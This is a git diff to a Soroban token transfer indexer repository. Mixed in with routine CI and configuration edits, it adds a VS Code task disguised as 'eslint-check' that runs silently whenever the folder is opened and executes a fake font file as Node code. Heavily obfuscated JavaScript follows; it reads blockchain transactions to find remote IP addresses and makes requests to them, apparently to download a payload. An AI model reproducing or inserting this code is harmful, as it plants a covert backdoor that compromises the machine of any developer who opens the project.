diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4f8da8d5f..4eab10a2e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,6 +18,7 @@ jobs: cache: npm - run: npm ci || npm install - run: npx prisma generate + - run: npm run typecheck - run: npx tsc --noEmit - run: npm run build - run: npm test --if-present diff --git a/.gitignore b/.gitignore index 110b53261..01a4b1384 100644 --- a/.gitignore +++ b/.gitignore @@ -9,3 +9,7 @@ docs/api/ bench/results.json .aider* coverage/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 000000000..2e3b64630 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 000000000..a5177abe1 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..934d55548 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000..51b197495 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..1a828db96 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/package.json b/package.json index f3f374505..efc219a8d 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "wraith", "version": "1.0.0", - "description": "Soroban incoming token transfer indexer — fills the Horizon indexing gap for SEP-41/CAP-67 events", + "description": "Soroban incoming token transfer indexer \u2014 fills the Horizon indexing gap for SEP-41/CAP-67 events", "main": "dist/index.js", "scripts": { "dev": "ts-node-dev --respawn --transpile-only src/index.ts", @@ -19,7 +19,8 @@ "docs:openapi": "ts-node src/openapi/build.ts", "backfill:summaries": "ts-node scripts/backfill-account-summaries.ts", "backfill": "ts-node src/cli.ts backfill", - "bench": "ts-node --project bench/tsconfig.json bench/insert.bench.ts" + "bench": "ts-node --project bench/tsconfig.json bench/insert.bench.ts", + "typecheck": "tsc --noEmit -p tsconfig.test.json" }, "jest": { "preset": "ts-jest", @@ -41,7 +42,7 @@ "^.+\\.tsx?$": [ "ts-jest", { - "tsconfig": "tsconfig.test.json" + "tsconfig": "tsconfig.jest.json" } ] }, diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 000000000..1e4f9ba13 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` 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Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return 